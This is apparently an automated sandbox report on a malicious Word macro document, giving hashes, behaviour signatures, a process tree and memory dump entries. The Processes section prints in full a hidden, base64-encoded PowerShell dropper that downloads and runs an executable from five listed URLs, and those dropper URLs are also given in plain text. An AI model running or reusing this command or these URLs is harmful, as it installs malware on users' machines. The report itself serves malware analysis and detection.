Analysis

  • max time kernel
    55s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 22:02

General

  • Target

    e1991d3ee7d915f0011c1630d633bd5aa6dbb81a34bbe3774a785579ee3a13c7.doc

  • Size

    200KB

  • MD5

    cf81ff54490d637bfa7b0bca5d8a1c89

  • SHA1

    724eff36db424daa8729d95b4b13573f4ce8bec2

  • SHA256

    e1991d3ee7d915f0011c1630d633bd5aa6dbb81a34bbe3774a785579ee3a13c7

  • SHA512

    458a2f1733998d6db2418278b16fd5a8e36b828f0e29501ea23c9c77566602c7727874340a614215871e2a18401881af4d112bb1b306ec746ca63d5eb6b8c5ae

  • SSDEEP

    3072:+HP9UaqFh5Hr/SzFaSadGBrjC48+WZ/POhh+/JY9a1Zfx4rIqz8aFGcI6kGX:+HP+aqhSzGdD48+aPOngqzxGcI6kG

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://compworldinc.com/closed_731293_8C5UbKzD9nC/EeRWoAbaA/

exe.dropper

http://graphixagency.com/wp-cache/z40o2osj-6fzn-8077/

exe.dropper

http://hyderabadmoversandpackers.com/uh53e/CcTNon/

exe.dropper

http://landnewspal.com/8xohvc/UgDirz/

exe.dropper

http://freelancedigitales.com/keo/AZPQar/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e1991d3ee7d915f0011c1630d633bd5aa6dbb81a34bbe3774a785579ee3a13c7.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1868
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2100
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABDAHIAbwBrAHEAZgB0AHgAPQAnAFUAegBvAGEAaQByAGcAbQBvAGwAJwA7ACQARgBpAGEAbQBtAHoAagB5AHcAdQB2AHkAIAA9ACAAJwA3ADkAJwA7ACQAQwBoAHgAagB4AG0AZQBpAHEAcgA9ACcASABrAHAAbABnAGEAaQBnAG8AcgBtACcAOwAkAFoAZABvAHUAcQBxAHoAegB6AGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAaQBhAG0AbQB6AGoAeQB3AHUAdgB5ACsAJwAuAGUAeABlACcAOwAkAFEAZQBvAGkAagBzAHkAYwBmAG0APQAnAFcAdgBrAHgAZABlAGkAeQBuAGEAaABxACcAOwAkAFkAaABoAGwAZQBkAGQAbwB5AHAAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBlAEIAYwBMAGkAZQBuAFQAOwAkAFAAagB1AGUAcQBoAHEAZgA9ACcAaAB0AHQAcAA6AC8ALwBjAG8AbQBwAHcAbwByAGwAZABpAG4AYwAuAGMAbwBtAC8AYwBsAG8AcwBlAGQAXwA3ADMAMQAyADkAMwBfADgAQwA1AFUAYgBLAHoARAA5AG4AQwAvAEUAZQBSAFcAbwBBAGIAYQBBAC8AKgBoAHQAdABwADoALwAvAGcAcgBhAHAAaABpAHgAYQBnAGUAbgBjAHkALgBjAG8AbQAvAHcAcAAtAGMAYQBjAGgAZQAvAHoANAAwAG8AMgBvAHMAagAtADYAZgB6AG4ALQA4ADAANwA3AC8AKgBoAHQAdABwADoALwAvAGgAeQBkAGUAcgBhAGIAYQBkAG0AbwB2AGUAcgBzAGEAbgBkAHAAYQBjAGsAZQByAHMALgBjAG8AbQAvAHUAaAA1ADMAZQAvAEMAYwBUAE4AbwBuAC8AKgBoAHQAdABwADoALwAvAGwAYQBuAGQAbgBlAHcAcwBwAGEAbAAuAGMAbwBtAC8AOAB4AG8AaAB2AGMALwBVAGcARABpAHIAegAvACoAaAB0AHQAcAA6AC8ALwBmAHIAZQBlAGwAYQBuAGMAZQBkAGkAZwBpAHQAYQBsAGUAcwAuAGMAbwBtAC8AawBlAG8ALwBBAFoAUABRAGEAcgAvACcALgAiAHMAcABsAGAAaQBUACIAKAAnACoAJwApADsAJABLAHQAdAB5AGwAdQBsAHoAaAA9ACcAWgBnAHoAcgBrAGMAeQBtAHMAawBlACcAOwBmAG8AcgBlAGEAYwBoACgAJABFAGcAaQBtAG8AdAB4AHQAIABpAG4AIAAkAFAAagB1AGUAcQBoAHEAZgApAHsAdAByAHkAewAkAFkAaABoAGwAZQBkAGQAbwB5AHAALgAiAEQAbwB3AE4AYABMAG8AYABBAGQAZgBJAGwARQAiACgAJABFAGcAaQBtAG8AdAB4AHQALAAgACQAWgBkAG8AdQBxAHEAegB6AHoAYwApADsAJABLAG4AZQBuAHYAcQB3AHgAaABjAD0AJwBJAGgAYQBpAGcAdwBvAGMAaAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFoAZABvAHUAcQBxAHoAegB6AGMAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADIAMwAyADIANAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAFIAdAAiACgAJABaAGQAbwB1AHEAcQB6AHoAegBjACkAOwAkAEgAYwB4AGoAZQBoAHgAZwB3AGsAPQAnAFEAeQBkAHIAbABzAHIAZQByAG0AYgB2AHgAJwA7AGIAcgBlAGEAawA7ACQATgBwAHYAYgBnAHAAdgBnAHQAcwA9ACcAQQBlAGIAaQB5AHQAYwByAGkAcwB4AHEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwByAHYAYgBjAG0AegB2AGsAcQA9ACcASABpAHYAcwBrAHoAeQB5AHIAYQAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2604

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\12940F22.wmf

      Filesize

      444B

      MD5

      803433084b44cd75c4631a717fc43866

      SHA1

      c2a949b9f7ebc141c45ec975d12ed42c557d7b71

      SHA256

      92a6b112c1c4f4b076f6cdc086c3ab044cb49d888050a5b2927c24c1ceef65f1

      SHA512

      ad01e66bd1df52c01d274a750ea58c264c9b388d3210eeb2293411b8b22775a02dfbe77ccb85e593664fc4fd74cad98800a30f25e1f129e2b310eecc3b11bafd

    • memory/1868-22-0x0000000006410000-0x0000000006510000-memory.dmp

      Filesize

      1024KB

    • memory/1868-2-0x0000000070EDD000-0x0000000070EE8000-memory.dmp

      Filesize

      44KB

    • memory/1868-7-0x0000000005DF0000-0x0000000005EF0000-memory.dmp

      Filesize

      1024KB

    • memory/1868-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1868-16-0x0000000006410000-0x0000000006510000-memory.dmp

      Filesize

      1024KB

    • memory/1868-0-0x000000002FDE1000-0x000000002FDE2000-memory.dmp

      Filesize

      4KB

    • memory/1868-24-0x0000000006410000-0x0000000006510000-memory.dmp

      Filesize

      1024KB

    • memory/1868-27-0x0000000006410000-0x0000000006510000-memory.dmp

      Filesize

      1024KB

    • memory/1868-41-0x0000000070EDD000-0x0000000070EE8000-memory.dmp

      Filesize

      44KB

    • memory/1868-42-0x0000000005DF0000-0x0000000005EF0000-memory.dmp

      Filesize

      1024KB

    • memory/1868-43-0x0000000006410000-0x0000000006510000-memory.dmp

      Filesize

      1024KB

    • memory/2604-33-0x000000001B760000-0x000000001BA42000-memory.dmp

      Filesize

      2.9MB

    • memory/2604-34-0x0000000001F50000-0x0000000001F58000-memory.dmp

      Filesize

      32KB